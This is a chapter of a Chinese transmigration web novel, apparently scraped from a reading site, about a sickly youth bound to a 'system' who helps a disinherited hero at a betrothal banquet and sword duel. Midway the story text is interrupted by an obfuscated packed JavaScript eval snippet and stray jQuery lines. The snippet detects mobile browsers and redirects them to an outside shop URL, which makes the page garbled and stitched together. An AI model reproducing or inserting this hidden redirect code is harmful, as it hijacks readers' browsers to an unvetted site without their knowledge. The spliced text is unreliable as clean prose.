文趣网 > 其他小说 > 穿为龙傲天病弱发妻 > 1. 明珠宝剑
    咚咚、咚。

    有人敲门。

    柏卿甫一睁眼,入目便是雕刻着繁杂花纹的香榭木床顶,床外纱帘层层叠叠,一室幽光。

    他缓了一会儿才记起自己身处何处,想到待会儿要做什么,顷刻间头疼起来。

    柏卿坐起身:“进。”

    纱帘外还有屏风遮挡,门推开后,隐约人影虚印在镶嵌着玉石云母的八扇折屏长风流云图上。

    仆从恭敬道:“少宫主,请更衣。”

    柏卿佯装镇定,点了点头。

    随即想到对方看不到,又开口:“我自己来。”

    对方闻言放下衣袍,接着悄声退下。

    屋内重新恢复平静,脑海中另一个声音又响起:“抱歉。”

    那万年不变、毫无情绪波动的电子音难得染上丁点歉意:“此次任务结束后,我会向总部申请上调你的积分系数。”

    柏卿夸张地叹了一口气,躺回床上:“你最好说到做到。”

    几天前,柏卿还躺在医院里。心电监护仪发出刺耳的滴滴声,意识消散前,他艰难地转过头,想最后看一眼窗外。

    柏卿遗憾地想,可惜是个阴天。

    再次睁开眼时,他被自称是系统Ek3796的家伙绑来打工。

    冷漠的电子音告诉他,只要柏卿能顺利完成各个世界的任务,积累足够多的积分,就能够兑换任何想要的奖励。

    柏卿当然求之不得。

    对于一个久病卧床的人来说,甚至任务本身对他而言也像是奖赏。

    根据系统所说,新人宿主的第一个世界一般难度都比较简单,任务轻松,执行时间短,对世界的融入要求低,主要以适应为主。

    柏卿的第一个世界便是气运男主的炮灰助理,戏份不多,只要煽风点火推推剧情进度。

    这有什么难的?

    柏卿摩拳擦掌,已经做好准备,把它当作一场全息游戏。

    然而一睁开眼,环顾四周,立刻意识到不对劲。

    这哪里有一点现代社会的样子?

    系统也有些诧异,确认片刻后才告诉他,大概率是因为某些这样那样的bug,总之倒霉蛋柏小卿只能先完成这个任务世界了。

    而他如今的任务,则是要帮助龙傲天男主从小可怜一步步成神成圣,最终成为天下第一;其次,补全世界剧情线,完善各种设定,最后顺利杀青。

    柏卿听后沉默了:“男主真的是正经龙傲天吗?”

    系统:“?”

    柏卿:“来,你告诉我,退婚流龙傲天的联姻对象为什么是男的???”

    他对系统的工作流程产生了严重的信任危机。

    系统被他问的卡顿了两下,随后继续用电子音严肃道:“好歹只有一个男主,你应该庆幸自己没有进入某些**限制文形成的世界。”

    柏卿:“……”

    柏卿:还得谢谢你,是吧:)

    经过两天的缓冲,柏卿勉强接受了这个结果。

    他现在的身份可谓是得天独厚,瑶光宫宫主之子,未出生时便和男主有了婚约。

    近水楼台先得月,柏卿对任务还是很有信心。

    系统问:“接下来你会见到主角,做好准备了吗?”

    柏卿:“当然。”

    他微微一笑,神秘地竖起食指:“给你展示一下龙傲天速通攻略。”

    系统没接话,似乎是觉得这个不自量力的新人宿主在夸下海口。

    柏卿又坐起来,咳了两声,拉开床帘,起身换衣服。

    他没有什么穿古装的经验,着实折腾了好一会儿,换上后又看向一旁的镜子。

    还好脸是自己的脸,不算太突兀。

    柏卿对着铜镜歪了歪脑袋。

    可惜身体素质依旧极差。

    走一步喘三口气,和上辈子相比,简直不相上下。

    算了。

    也好过去阴曹地府报道。

    柏卿想得很开,转而走向窗边,放眼望去。

    他常年静养,寝宫位置僻静,院子里种满一种不知名的树,树上开满银白花瓣。明明是初春时节,却好似细雪压枝,日光一照,仿佛流光闪烁,美丽非常。

    宛若梦中。

    柏卿从未见过这种花,一时间也看入神了。

    身后忽然有人开口:“这是孑霜花。”

    柏卿一愣,转头看见一位端庄妇人,忙向对方微微欠身,道:“母亲。”

    似乎见看柏卿迟迟未出现,月苌颐亲自过来看望。她的目光从窗外昳丽花树移开,看向柏卿,春风化雪一笑:“我儿,客人到了,走吧。”

    .

    这次瑶光宫大摆筵席,邀请凌霄殿众人前来做客,目的只有一个。

    便是解除柏蔺两家的婚约。

    原因无他,两人当初被指腹为婚,并无感情。多年来,一个在瑶光宫修身养病,一个在凌霄殿清心苦修,甚至鲜少会面。

    且蔺稹酩的父亲于十年前叛入魔道,私自打开不老山下的魔界阵法,放出无数妖魔,多少人因此殒命。

    最后还是由几大长老出面重新封印阵法,蔺稹酩的母亲为了弥补丈夫的过错,耗尽所有修为,也因此命丧黄泉。

    虽然阵法恢复,但那些无辜死去的人无法复生。

    双亲离去,恨意却未消弭,剩下年幼的蔺稹酩自然成为了全天下的罪人。

    凌霄殿几乎人人都觉得,柏蔺两人婚约,难以为继。

    当事人柏卿当然不同意了:这怎么行!那我还怎么做任务!(拍桌子)

    此刻,他随母亲一同入坐,坐在事先准备好的纱帘之内。

    众人早有耳闻,瑶光宫少宫主自幼体弱多病,鲜少露面,投向纱帘的目光多了几分好奇与窥探。

    这纱帘材质特殊,名叫幻影纱。不仅能够遮挡冷风强光,且旁人看他看不分明,他却能在其中看个大概。

    柏卿放眼望去。

    大殿之中井然有序,仆从们正陆续端上佳肴瓜果。凌霄殿殿主凌逸风坐在右侧首位,往后依次是几位殿下。

    最末坐着的那位,寡言少语,面容沉静如水,虽是少年,却隐隐流露出一丝不符合年纪的阴郁。

    柏卿微微凝神。

    这便是男主了。

    蔺稹酩似有所感,抬头看向柏卿所在的方向。

    然而有纱帘遮掩,仿佛只是错觉,他很快又低下头去。

    隔着一个位置的另一个少年,把他的一举一动落入眼中,发出一声轻蔑的冷哼。

    瑶光宫地广物博,多少数不清的奇珍异宝、祥瑞灵兽。且柏卿的母族隶属月氏玄鸟一派,受九天庇佑,因此瑶光宫仿佛世外桃源,几乎不参与凡世纷争。

    柏卿的婚事,也是瑶光宫头一回和世家联姻。

    柏卿无疑是未来的瑶光宫宫主,因此众人心知肚明:谁能攀上这桩姻缘,谁就能得到瑶光宫中的一切。

    机会难得,既然蔺稹酩不适合,那就换适合的人。

    这也是凌霄殿殿主之所以带上这么多小辈的原因,除了长子受门派委托外出历练以外,几乎所有晚辈都一并叫来了。

    筵席过半,气氛活络不少后,凌逸风开始切入正题,有意引荐小辈。

    方才朝蔺稹明冷哼的少年名叫蔺锦,抢先傲然道:“我已是云隐宗内门弟子,只要在宗门大比时拔得头筹,便能拜入仙尊名下,届时修炼速度必定更上一层。”

    他右手边的人年岁稍长些,也更沉稳,抱拳行礼:“在下凌敞修,师从青崖长老,青峰秘籍已修炼到第三重。”

    ……

    轮到蔺稹酩时,殿内安静不少,视线纷纷投向角落。

    蔺稹酩平静道:“我并未进入门派,也无师长,平日只在殿内修行。”

    话音刚落,便有人嗤笑一声:“那是自然。毕竟云隐宗可不是什么人都能进的,就算当个打杂的,也需要天赋。否则一点灵力都没有,不就是去吃白饭的么?”

    这

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17800332|210607||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    话说得难听,好歹身为殿下,却对着手足出言嘲讽,实在有些失礼。

    凌逸风果然瞪了一眼蔺锦,示意对方闭嘴。

    在外人面前都能说出这种话,不难想象平日在凌霄殿又是怎样一副嘴脸。

    然而蔺稹酩连眉头都没皱一下,丝毫不为所动。

    柏卿心说:不愧是男主,能忍。

    父亲柏即嵩同样对此行为不喜,然而却未表现出分毫,打了个圆场:“君子慎独,清修也有清修的好处。藏书阁也许有适合你的典籍,等宴会结束后,你可随书童来取。”

    眼见蔺稹酩什么都没做,便白白得了秘籍,蔺锦第一个不服气。

    他转了转眼珠子,朗声道:“早有耳闻瑶光宫瑶池阆苑,果然名不虚传。晚辈实属好奇瑶光宫剑法,今日得此机会,不如舞剑切磋如何?”

    这个请求听起来倒是并无不妥,虽然柏卿身体不适,但还有其他晚辈可以比试,柏即嵩点头应允。

    殿内本就宽敞,比剑绰绰有余。

    柏卿的堂弟刚要起身,蔺锦却看向蔺稹酩:“蔺稹酩,不如我们先比试一场,为在座的各位抛砖引玉。”

    蔺稹酩不答,甚至未曾抬眼。

    一旁一个约莫的十岁女孩左右看看,眼睛一亮:“兄长,我也带剑了,我也要参加!”

    蔺锦故意扬声道:“蔺稹酩,连幼妹都愿意比试一番,你堂堂男子,难不成要做缩头乌龟么?”

    “蔺锦,不得无礼。”

    凌敞修先是训斥了蔺锦口无遮拦,又附和道:“稹酩,你日日闭门练剑,从不与家中兄弟姐妹过招,不如今日展示一番,我们都很想领略你的剑术。”

    不知是听到哪个字眼,蔺稹酩脸色终于微微变了,嘴角露出一缕嘲讽的笑。

    随后,他终于收敛表情起身,取下腰间佩剑。

    他的剑看起来使用多年,有些陈旧。

    从剑身到剑鞘,用料再朴实无华不过,像是从街头铁匠那里买来的。

    反之,蔺锦的佩剑一瞧便知做工精良,剑身锐利冷冽,可映人影。

    两人都不再废话,起势后便利落出招。

    殿内一时间只闻琅琅铁声。

    虽然起初有来有回,但毕竟剑有不同。

    很快,两剑剑锋相交之时,“当啷”一声脆响,蔺稹酩的剑豁出一个口子!

    蔺锦得意一笑。

    他压低声音,用只能两人听到的声音耳语:“就你这把破剑,尽早认输吧。刀剑不长眼,我可不想取人性命。”

    即使如此,蔺稹酩依旧咬着后牙,以残破的剑身格挡,随后手腕发力,一挑一斩。

    蔺锦以为胜券在握,一时不慎,竟被他震至几步之外。

    众目睽睽之下遭受此辱,脸色有点难看:“趁人不备,无耻!”

    正要提剑重新再战时,一把剑忽然间破空而来,朝蔺稹酩飞去。

    那剑并未直指他命门,而是悬停半空,任由对方握住。

    蔺稹酩一怔。

    他抬眼看向剑的来处。

    一只修长指节探出,拨开纱帘,现出被遮掩的芙蓉玉面。一双灵动杏眼微抬,转盼流光,明眸善睐。

    未见过他的人不免微微倒吸一口气,蔺锦更是晃了晃神。

    那位筵席上始终未曾露面的少宫主,忽视旁人或惊羡或羞赧的目光,只对着蔺稹酩眨了眨眼睛:“我的剑,借你。”

    声音不大,清冽如溪流,却让殿内顿时安静下来。

    柏卿做了个口型:加油。

    又把纱帘放下。

    那是柏卿幼年开蒙时用的剑,虽然不算什么名剑,但瑶光宫天工造物,自然比蔺稹酩手上那把破铜烂铁不知好了多少倍。

    剑柄上嵌着宝珠,还刻了个歪歪扭扭、稚气未脱的“卿”字,一看便知是个自小倍受宠爱的孩子。

    “……”

    蔺稹酩握紧手中的剑。

    他抬头看向蔺锦,调息运气,再次提剑迎上!